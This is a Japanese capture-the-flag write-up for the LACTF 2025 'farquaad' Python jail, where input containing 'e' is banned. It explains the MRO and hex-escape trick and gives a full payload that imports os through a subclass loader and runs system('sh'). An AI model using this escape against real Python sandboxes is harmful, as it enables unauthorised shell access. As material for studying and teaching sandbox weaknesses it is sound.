LACTF 2025 - farquaad
Challenge
文字 ‘e’ が使用禁止の pyjail。
code = input()
# 'e' を禁止、ASCII printable のみif 'e' in code.lower() or not code.isprintable(): print("Invalid!") exit()
eval(code, {'__builtins__': {}})Solution
__mro__ による object 取得
__base__ は ‘e’ を含むため使用不可。代わりに __mro__ を使用:
# __base__ → 使用不可 ('e' を含む)# __mro__ → OK().__class__.__mro__[1] # object を取得__getattribute__ へのアクセス
object.__dict__ から __getattribute__ を取得:
().__class__.__mro__[1].__dict__["__g\x65tattribut\x65__"]hex escape による ‘e’ の回避
文字列内では \x65 が ‘e’ として解釈される:
"\x65" # = 'e'"__g\x65tattribut\x65__" # = '__getattribute__'完全なペイロード
().__class__.__mro__[1].__dict__["__g\x65tattribut\x65__"](().__class__.__mro__[1].__subclass\x65s__()[104], "load_modul\x65")("os").syst\x65m("sh")Technical Details
MRO (Method Resolution Order)
# __mro__ は継承チェーン全体を返すstr.__mro__# (<class 'str'>, <class 'object'>)
# インデックス 1 は常に object (単一継承の場合)().__class__.__mro__[1] # <class 'object'>文字列エスケープ
| 元の文字 | エスケープ |
|---|---|
| e | \x65 |
| a | \x61 |
| i | \x69 |
| o | \x6f |
| u | \x75 |
フィルタの盲点
- ソースコード中の
\x65はフィルタでは ‘e’ として見えない - Python インタプリタが解釈時に ‘e’ に変換
Alternative Solutions
別解1: 8進数エスケープ
"\145" # = 'e'別解2: chr() を使用
chr(101) # = 'e'# ただし 'e' が含まれるので直接は使えないFlag
lactf{...}
References
- LACTF 2025 Official
- https://jia.je/ctf-writeups/misc/pyjail/lactf-2025-farquaad.html